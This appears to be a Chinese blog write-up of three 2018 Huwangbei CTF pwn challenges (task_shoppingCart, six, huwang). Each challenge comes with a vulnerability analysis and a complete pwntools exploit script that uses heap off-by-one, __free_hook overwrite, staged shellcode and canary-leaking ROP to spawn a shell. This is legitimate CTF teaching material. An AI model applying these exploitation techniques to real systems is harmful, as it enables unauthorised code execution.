2018护网杯pwn

Pwn-CTF 2018红帽杯redhat GameServer题目writeup 开始前的例行叨叨:学pwn萌新,欢迎交流赐教~先放一波题目:我传了github上 pwn2就是题目了。( 若有侵权,请博客留言立马删除)https://github.com/staticStr/ForCTF/blob/master/pwn2来看看这个程序是做什么用的功能很简单,输入名字,职业,就会问你是否要修改,填Y修改,写一个新的进去。ida打开分析一波,顺手把变量名能改就改了,分析看图吧。开始... 阅读详情

task_shoppingCart

漏洞点
在这里插入图片描述

  1. 存在一个整数溢出漏洞,能够控制数组的下标指向任意位置。
  2. 存在一个off by one漏洞
    画出相应的数据结构
    在这里插入图片描述

method1——off-by-one

思路
1.先通过构造unsortbins,利用edit泄露arena+232地址,得到libcbase
2.通过off-by-one将bss_name_adr[0]指向input chunk中,然后通过构造payload,使bss_name_adr[0]指向__free_hook,然后edit将system覆盖__free_hook
exp

from pwn import *
from LibcSearcher import *
context.terminal=['gnome-terminal','-x','sh','-c']
context.log_level='debug'
elf=ELF('./task_shoppingCart')
p=process('./task_shoppingCart')
libc_name = '/lib/x86_64-linux-gnu/libc.so.6'
Libc = ELF(libc_name)
def DEBUG(instruction,i=0):
    if i!=1:
        pwnlib.gdb.attach(p,instruction)
    else:
        pwnlib.gdb.attach(p)

def get_money():
    p.sendlineafter('be a rich man!\n','1')
    p.sendlineafter('RMB or Dollar?\n','aaaaa')

def get_enough():
    p.sendlineafter('be a rich man!\n','3')

def add(size,name):
    p.sendlineafter('Now, buy buy buy!\n','1')
    p.sendlineafter('How long is your goods name?\n',str(size))
    p.sendafter('What is your goods name?\n',name)

def edit(index,name):
    p.sendlineafter('Now, buy buy buy!\n','3')
    p.sendlineafter('to modify?\n',str(index))
    recv=p.recvuntil(' to?\n',drop=True)[-6:]
    p.send(name)
    return recv

def free(index):
    p.sendlineafter('Now, buy buy buy!\n','2')
    p.sendlineafter('?\n',str(index))

for i in range(0x14):
    get_money()
get_enough()

add(0x90,'aaaa')
add(0x90,'/bin/sh\x00')
free(0)
add(0,'')
#instruction = ''
#DEBUG(instruction)
recv=edit(2,'aaaa').ljust(8,'\x00')
#################get_system#############################
print hex(u64(recv))
Libc.address = u64(recv)- 0x10 - 232 -Libc.symbols['__malloc_hook']
system2 = Libc.symbols['system']
print hex(system2)
#############################################
#instruction='x/32xg '+str(hex(system2))
index1=(-0x1&0xffffffffffffffff)
edit(index1,'b'*8)
index2=(((0x561161d69140-0x561161d691e0)/8)&0xffffffffffffffff)
payload = (str(index2)+'\n')
payload += '2\n'+'1\n'#free时需要输入的参数,必须在构造pyload时添加
payload =payload.ljust(0x1000-0x20,'a')
payload+=p64(Libc.symbols['__free_hook'])
p.sendlineafter('Now, buy buy buy!\n','3')
p.sendafter('to modify?\n',payload)
p.recvuntil(' to?\n')
p.send(p64(system2))
p.interactive()

method2——

在这里插入图片描述
利用这个指向自己的指针,可以泄露出基地址。
通过bss_name_adr构造bss_name,从而实现任意写
例如在0x55e69149d0a8写入0x55e69149d0a0,在0x55e69149d0a0写入目标地址,从而实现目标地址任意写。
在这里插入图片描述

from pwn import *
from LibcSearcher import *
context.terminal=['gnome-terminal','-x','sh','-c']
context.log_level='debug'
elf=ELF('./task_shoppingCart')
p=process('./task_shoppingCart')
libc_name = '/lib/x86_64-linux-gnu/libc.so.6'
libc = ELF(libc_name)
def DEBUG(instruction,i=0):
    if i!=1:
        pwnlib.gdb.attach(p,instruction)
    else:
        pwnlib.gdb.attach(p)

def get_money():
    p.sendlineafter('be a rich man!\n','1')
    p.sendlineafter('RMB or Dollar?\n','aaaaa')

def get_enough():
    p.sendlineafter('be a rich man!\n','3')

def add(size,name):
    p.sendlineafter('Now, buy buy buy!\n','1')
    p.sendlineafter('How long is your goods name?\n',str(size))
    p.sendafter('What is your goods name?\n',name)

def edit(index,name):
    p.sendlineafter('Now, buy buy buy!\n','3')
    p.sendlineafter('to modify?\n',str(index))
    p.recvuntil(' to?\n')
    p.send(name)


def free(index):
    p.sendlineafter('Now, buy buy buy!\n','2')
    p.sendlineafter('?\n',str(index))

for i in range(0x14):
    get_money()
get_enough()

add(0x90,'aaaa')
add(0x50,'/bin/sh\x00')
free(0)#加载free的libc值到got表中
p.sendlineafter('Now, buy buy buy!\n','3')
p.sendlineafter('to modify?\n',str((-47)&0xffffffffffffffff))
recv=(p.recvuntil(' to?\n',drop=True)[-6:]).ljust(8,'\x00')
aim = u64(recv)
p.send(p64(aim))

instruction =''

print hex(u64(recv))
#0x202000
#
elf.address=aim-0x202000-0x68

edit((-20)&0xffffffffffffffff,p64(elf.got['free']))
edit((-19)&0xffffffffffffffff,p64(elf.address+0x2020a0))
#DEBUG(instruction)
p.sendlineafter('Now, buy buy buy!\n','3')
p.sendlineafter('to modify?\n',str((-39)&0xffffffffffffffff))
recv=p.recvuntil(' to?\n',drop=True)[-6:].ljust(8,'\x00')#泄露free libc地址
free_libc=u64(recv)
libc.address=free_libc-libc.symbols['free']
p.send(p64(libc.symbols['system'])[:7])
free(1)
p.interactive()

six

先分析一下程序
在这里插入图片描述
取两个随机数,作为映射起始地址,一块用于存放shellcode,一块作为stack

  v3 = (void (__fastcall *)(__int64, char *))dest;
  memset(&s, 0, 8uLL);
  puts("Show Ne0 your shellcode:");
  read(0, &s, 6uLL);
  sub_B05((__int64)&s);                         // check
  v4 = strlen(src);             // inint_shellcode= 0x30
  memcpy(dest, src, v4);
  v5 = (char *)dest;
  v6 = strlen(src);              
  memcpy(&v5[v6], &s, 7uLL);  //inint_shellcode+input_shellcode to dest
  v3(qword_202098, &s);//execve dest
/*init_shellcode
seg000:0000000000000000                 mov     rsp, rdi
seg000:0000000000000003                 xor     rbp, rbp
seg000:0000000000000006                 xor     rax, rax
seg000:0000000000000009                 xor     rbx, rbx
seg000:000000000000000C                 xor     rcx, rcx
seg000:000000000000000F                 xor     rdx, rdx
seg000:0000000000000012                 xor     rdi, rdi
seg000:0000000000000015                 xor     rsi, rsi
seg000:0000000000000018                 xor     r8, r8
seg000:000000000000001B                 xor     r9, r9
seg000:000000000000001E                 xor     r10, r10
seg000:0000000000000021                 xor     r11, r11
seg000:0000000000000024                 xor     r12, r12
seg000:0000000000000027                 xor     r13, r13
seg000:000000000000002A                 xor     r14, r14
seg000:000000000000002D                 xor     r15, r15
*/

shellcode先将我们申请的第二块地址作为stack,然后清空通用寄存器。因为前面申请的两块地址的起始地址是随机数,存在stack在shellcode的低地址端附近的情况。
这个题里面只允许输入长度为6的shellcode,所以我们必须要再次输入,所以第一次输入的shellcode必须是0号系统调用——read。
,然后再次read将使得第二次shellcode存放至第一次shell code后面。
exp

from pwn import *
context.log_level='debug'
context.terminal=['gnome-terminal','-x','sh','-c']
context.binary='./six' #we need the x64 shellcode
p=process("./six")
elf=ELF('./six')

def DEBUG(instrction,i=0):
    if i==0:
        pwnlib.gdb.attach(p)
    else:
        pwnlib.gdb.attach(p,instrction)

instruction=''
p.recvuntil('Show Ne0 your shellcode:\n')
Read=asm('''
push rsp
pop rsi
mov edx,esi
syscall
''')
p.send(Read)
#DEBUG('',0)
#shellcode = 0x36,we only need the offset of mmap is 0xc00.
payload =asm(shellcraft.nop())*0xc36+asm(shellcraft.sh())
p.send(payload)
p.interactive()

不一定第一次就能行,十六分之一的几率,慢慢试吧骚年!

huwang

这道题坑很多!
关键在于666函数。

坑

  1. 因为需要预测散列函数值,所以我们必须对散列函数的输入必须进行控制。
  2. snprinf 的返回值是欲写入字符数。所以我们才能在后面进行栈溢出

解法

  1. 写入文件时,会先清空文件,所以我们我们能够预测散列函数值。从而进入下面这个函数。然后就是基本的栈溢出了。
    在这里插入图片描述
  2. 通过输入name(size=25)来泄露处canary。为栈溢出做准备。
    在这里插入图片描述
    exp
from pwn import *
import md5
context.log_level='debug'
context.terminal=['gnome-terminal','-x','sh','-c']



def DEBUG(instruction,i=0):
    if i==0:
        pwnlib.gdb.attach(p)
    else:
        pwnlib.gdb.attach(p,instruction)

def add(size,content):
    p.sendlineafter('command>> \n',str(1))
    p.sendlineafter(':',str(size))
    p.sendlineafter(':',content)

def free(index):
    p.sendlineafter('command>> \n',str(2))
    p.sendlineafter(':',str(index))


instruction='''
b *0x401556
c
x/100xg $rbp-0x110
'''

##第一次清空/tmp/secret,从而使第二次能够预测出md5
for i in range(2):
    p=process('./huwang')
    elf=ELF('./huwang')
    libc=ELF('./libc.so.6')
    m = md5.new()
    m.update('\x00'*16)
    md5_zero =m.digest()
    p.sendlineafter('command>> \n',str(666))
    p.recvuntil('name\n')
    p.send('abe'.ljust(0x19,'a'))#leak canary
    p.recvuntil('secret?\n')
    p.sendline('y')
    if i==0:
        p.sendlineafter(':\n',str(-1&0xffffffff))#使加密足够多次,使其能够在未完全写入文件时关闭程序,关闭文件,从而达到清空文件的目的
        sleep(0.1)
        p.close()
    
    else:
        p.recvuntil('secret:\n')
        p.sendline(str(1))
        secret=md5_zero
        p.recvuntil('secret\n')
        p.send(secret)
        p.recvuntil('abe'.ljust(0x19,'a'))#24+1(覆盖canary的最低位'\x00')
        recv=p.recv(13)#接收当前栈帧的canary和rbp

        canary=u64('\x00'+(recv[:7]))
        stack =u64((recv[7:]).ljust(8,'\x00'))-0xa0
        print hex(canary),hex(stack)
        #DEBUG(instruction,1)        
        occupation='a'*0xff#因为snprinf返回值是欲写入字符数,所以这里要尽可能大,为后面栈溢出做铺垫
        p.recvuntil('occupation?\n')
        p.send(occupation)
        sleep(0.1)

        p.recvuntil('[Y/N]\n')
        sleep(0.1)
        p.sendline('Y')
        '''
        0x0000000000401573 : pop rdi ; ret
        0x000000000040156A : p_5
        '''
        pop_rdi = 0x0000000000401573#配合只有一个参数的的函数
        p_5=0x000000000040156A#这是万能执行函数rop chain——init
        payload='a'*0x108+p64(canary)+p64(stack)+p64(pop_rdi)+p64(elf.got['puts'])
        payload+=p64(elf.plt['puts'])
        payload+=p64(p_5)+p64(0)+p64(1)+p64(elf.got['read'])+p64(8*4)+p64(stack+19*8)+p64(0)+p64(0x0000000000401550)+'a'*8*7
        p.send(payload)
        puts=u64(p.recv()[-7:-1].ljust(8,'\x00'))
        libc.address=puts-libc.symbols['puts']
        system=libc.symbols['system']
        #print hex(puts)
        payload=p64(pop_rdi)+p64(stack+22*8)+p64(system)+'/bin/sh\x00'
        p.send(payload)
        p.interactive()


# import md5
# m = md5.new()
# m.update('\x00'*16)
# md5_zero =m.digest()
# z=''
# for i in md5_zero:
#     z+=str(hex(ord(i))[2:])
# print z

比较笨,rop的很生硬>.<

https://xz.aliyun.com/t/2897
https://blog.youkuaiyun.com/snowleopard_bin/article/details/83119665

【网络安全】逻辑漏洞之购买商品 首先尝试将数量设置为负数,但请求被服务器验证拦截,提示数量不能为负数 阅读详情

相关推荐

2018护网杯逆向题目

2018护网杯的3道逆向题目.

[BUUCTF-pwn] 护网杯_2018_task_calendar

劫持_IO_2_1_stdout_ 程序没有show,需要劫持_IO_2_1_stdout_ 程序有add,edit,free其中edit调用sub_B5F 会多读1个字符:off_by_one,由于有大小限制,通过这里释放得到unsortbin __int64 __fastcall readstr_1(__int64 a1, signed int a2) { char buf; // [rsp+13h] [rbp-Dh] BYREF unsigned int i; // [rsp+14h]

weixin_52640415的博客 581

keil自动分配SDRAM空间设置使用

1.修改.sct文件。

qizhi321123的博客 1404

2018护网杯shoppingcart

from pwn import * #context.log_level='debug' cn = process('./task_shoppingCart') elf = ELF('./task_shoppingCart') libc = ELF('./libc-2.23.so') strtoul_got = p64(elf.got['strtoul']) def money(s): cn....

snowleopard_bin的博客 498

支付宝H5支付唤醒协议全解析:从alipays://到动态orderSuffix的抓取与拼接

本文深入解析支付宝H5支付唤醒协议,从alipays://协议设计到动态orderSuffix参数的抓取与拼接,详细介绍了支付宝H5支付的底层机制。内容包括协议架构剖析、动态令牌生成与捕获、浏览器兼容性解决方案以及安全机制设计,为开发者提供全面的技术指南和实践建议。

weixin_27972919的博客 3498

一次渗透测试引发的Json格式下CSRF攻击的探索

一次渗透测试引发的Json格式下CSRF攻击的探索

weixin_52501704的博客 1050

web安全学习笔记(19)

记一下第33节课的内容。逻辑漏洞之支付逻辑漏洞

m0_58875569的博客 902

工业级以太网通信实战:用FPGA驱动YT8531 PHY芯片的完整避坑指南

本文是一份针对工业级以太网通信的实战指南,详细讲解了如何使用FPGA驱动YT8531 PHY芯片。内容涵盖从硬件设计(电源、时钟、复位)到MDIO接口驱动开发、PHY配置与链路管理的全流程,并重点剖析了十个常见的开发“陷阱”及其解决方案,旨在帮助工程师在复杂的工业环境中实现稳定可靠的以太网通信连接。

weixin_29191669的博客 146

burp靶场--业务逻辑漏洞

登录账号,购买商品的数量一次最多可以 +99,可以用 Burp 的 intruder 送到 Overflow。###【管理接口鉴定权限错误+修改账号邮箱地址未校验,导致管理接口以邮箱号为权限认定方式导致绕过】添加其他商品,用同样的方法在intruder操作,直到总金额为0-100。重新修改商品购物车:总价为正,指定商品l33t为正数,购买成功。

qq_33168924的博客 3254

Python爬虫实战:5分钟搞定Web of Science文献批量导出与解析(附完整代码)

本文提供了一套利用Python爬虫技术,快速实现Web of Science文献批量提取与解析的完整方案。通过解析官方导出的HTML文件,结合BeautifulSoup和pandas库,可将文献数据自动转换为结构化的Excel/CSV表格,帮助科研人员高效管理文献信息,节省大量手动整理时间。

weixin_29050513的博客 1165

从医疗成像到工业检测:CMOS图像传感器NIR技术的最新应用案例解析

本文深入解析了CMOS图像传感器NIR技术在医疗成像和工业检测中的最新应用案例。通过提升量子效率至70%,NIR技术实现了血管可视化、材料缺陷检测等突破性进展,显著提高了医疗诊断精度和工业质检效率。文章还探讨了系统集成关键考量和前沿发展趋势。

weixin_30879169的博客 90

2018护网杯pwn题目task_gettingStart_ktQeERc的writeup

下载后   本来想先用checksec 看看有啥保护 但是却发现执行不了(这里不太明白) 看到做出的人那么多  也就没有顾虑了 载入IDA   看到关键字符串  且有/bin/sh     双击进入    发现连续三个跳转之后   就是最终结果 直接F5看伪代码    看到read()之后    这不就是栈溢出嘛  覆盖v7 v8的数据达到条件即可获得shell 栈中顺序...

iqiqiya的博客 1568

PyCharm+QT Designer整合

CMD下使用pip安装PyQt4或者PYQT5 这里要注意,你下载的PYQT5不包含QT designer 还要:pip3 install PyQt5-tools,好像Pyqt5中将designer分离了或者查看源码:https://github.com/altendky/pyqt5-tools,编译安装 将QT Designer整合到PyCharm的External Tools中,以后就可...

mxh的博客 6414

[BUUCTF]PWN——护网杯_2018_gettingstart

护网杯_2018_gettingstart 例行检查,64位程序,除了RELRO,其他全开 试运行一下,看看大概的情况 64位ida载入 当满足v5=0x7FFFFFFFFFFFFFFFLL并且v6=0.1的时候就能够获取shell,看一下栈布局 确定了偏移,可以在读入buf的时候修改v5和v6的值 这题没什么难度,v5的值可以直接表示,只是要注意一下0.1在内存中的表示。内存中存放的是数据的补码,浮点型数据的在内存中按照IEEE754 标准存储。有兴趣的师傅可以百度看看怎么算。这边在其他师傅的博

mcmuyanga的博客 956

从零开始学习信号完整性(SIPI)--1 简介

信号完整性就是研究如何让驱动芯片发出的信号经过传输通道被接收芯片正确接收的学问。 信号完整性包含了三个要素: 信号:是被传输的主体,我们首先要了解、熟悉信号的特性。 芯片:分为驱动芯片和接收芯片,信号完整性工程师就是要实现信号在驱动芯片和接收芯片之间的正确传输。 传输通道:是传输信号的介质,是信号所走的“路”。如何实现信号的正确传输呢?那就要信号完整性工程师为信号“修路”、“搭桥”。

qq_29476769的博客 4万+

NTscan扫描工具

ntscan是一个扫描器,可以扫描没有密码和弱密码的共享,先到配置文件中填写猜测的用户名和密码,扫描过程中右侧出现的是扫描日志。

BUUCTF(pwn)护网杯_2018_gettingstart

from pwn import * p=remote("node3.buuoj.cn",26480) payload='a'*0x18+p64(0x7FFFFFFFFFFFFFFF)+p64(0x3FB999999999999A) p.sendline(payload) p.interactive() 第一步:计算偏移量 为 0x18 第二步 把0.1 转化成在内存中表示的形式

半岛铁盒的博客 289

霍尼韦尔SoftMaster使用说明

霍尼韦尔SoftMaster使用说明

2018护网杯的pwn签到题(详细过程)

题目: 链接:https://pan.baidu.com/s/1WcO-y2MQ6Wb17PqL2dxyyA 提取码:z5a7 首先找保护机制 难受 保护全开!! 运行一下,发现只有一个输入点。 ida分析一波 发现只要满足 v7=0x7FFFFFFFFFFFFFFFLL 还有v8=0.1 但是在payload去传值需要用0x????,这里可以了...

dengshanyi7201的博客 723

TMS_WebGMaps_1.9.8.0_Full_Source

TMS_WebGMaps_1.9.8.0_Full_Source 全源码 delphi cbuilder

2018 10 13 pwn的学习0x4 没有缓冲区溢出和护网杯的pwn签到题目

今天所遇到的题目都是判断变量放在内存当中 我们可以使用覆盖来对判断变量进行改变  当覆盖到变量之后 就可以实现我们想要的跳转 我们要覆盖v5的数值为11.28125 ,点看读进去的buf的地址 和v5的地址   发现相差 是0x20的大小所以直接发送'a'*20+(11.28215za在内存当中的数值)但是如何得到这个数在内存当中的数值呢 我们在汇编代码当中看 进去之后看到了数值...

startr4ck 526

护网杯_2018_gettingstart

护网杯_2018_gettingstart 查看保护 v7=0x7fff。。。。v8=0.1时会拿到shell 而buf里面包含了v7和v8所以可以对v7和v8进行修改 v8在内在里面可以使用https://binaryconvert.com/result_double.html?decimal=04046049 from pwn import * context(arch='amd64', os='linux', log_level='debug') file_name = './z1r0' d

z1r0的博客 1264

护网杯REFINAL超详细WP

前言 由于时间原因没有在比赛结束前提交flag,所以干脆写一个详细的解答过程(自认为),适合小白阅读,Pizza大佬请绕过。

BadRer的博客 4011

护网杯 task_shoppingCart 记录

前言 相关题目位于 https://gitee.com/hac425/blog_data/tree/master/hwb task_shoppingCart 漏洞位于 00BD9 用户输入 idx 然后根据索引找到表项( T ), 然后取 T 开头的 8 字节作为指针,先打印内容,然后修改。 通过漏洞,加上上图那种逻辑结构我们就可以查看并修改 data 的数据。 这个题的关键工作就是构造上图的...

weixin_30291791的博客 255

2018网鼎杯re--beijing writeup

昨天一上午一直在做这道逆向题,这个题目运行起来输出是乱码,就很烦气,一直在搞这个终端的编码问题,搞了半天结果方向错了,然后就放弃了,其实这道题做出来的人还是很多的,还是自己太菜了,感觉自己的re和pwn还是要多加努力学习才行,今天看到writeup来学习下,做一下学习的笔记哈。 拿到这个binary,用file命令看一下,这个binary的基本信息,这是一个32位的elf文件,放到ubuntu下...

沐沐的博客 3062

强网杯2024 [PWN]:chat_with_me 深度解析与漏洞映射

在 2024 年强网杯初赛中,“chat_with_me” 这一 PWN 类型题目极具挑战性。本题主要考察选手对堆漏洞的利用以及对内存信息的泄露和控制能力。涉及的漏洞类型为 CWE - 416(Use After Free),在 ATT&CK 框架中对应权限提升(T1068)技术。该题目虽未直接关联特定 CVE 漏洞,但其实战场景能很好地映射到真实红队攻击中对系统权限的夺取过程。通过对本题的深入分析,我们不仅能掌握相关漏洞原理和利用方法,还能将其应用到实际的网络安全攻防中。

Alfadi联盟 萧瑶的博客 1269

CTFShow PWN入门---Kernel PWN 356-360 [持续更新]

Kernel PWN 357题解 本题与2018年强网杯的qwb2018-core题目完全相同,考察内核漏洞利用。 解题关键步骤: 通过/proc/show泄漏栈上的canary值 利用kallsyms获取内核关键函数地址(prepare_kernel_cred/commit_creds) 构造ROP链实现提权: 使用prepare_kernel_cred创建root凭证 调用commit_creds应用凭证 通过swapgs/iretq返回用户态获取root shell EXP特点: 结合了内核地址泄露与

saulgoodman的博客 626

Elon为2020网鼎杯准备之“CTF初体验!”

为网鼎杯做准备的第一天 网鼎杯是网络安全领域的“奥林匹克”,也是国内最大型高水平网络安全竞赛。 此次大赛将在5月展开所有的线上赛,并且将在6.19~6.21于广东省深圳市举行线下所有赛事。 上一次举办网鼎杯是在2018年北京。有两万余在各行各业的的从事或者学习网络安全的人员参与了那次比赛。 随着网络安全领域愈发得到重视,这次的比赛将会比上次更加激烈。 我是一个19级大一萌新,第一天还是有...

ElonLiu_OJ的博客 2056
上一篇: gdb 调试 PIE程序
下一篇: ret2syscall
Maxmalloc
博客等级 码龄8年 12粉丝 33原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值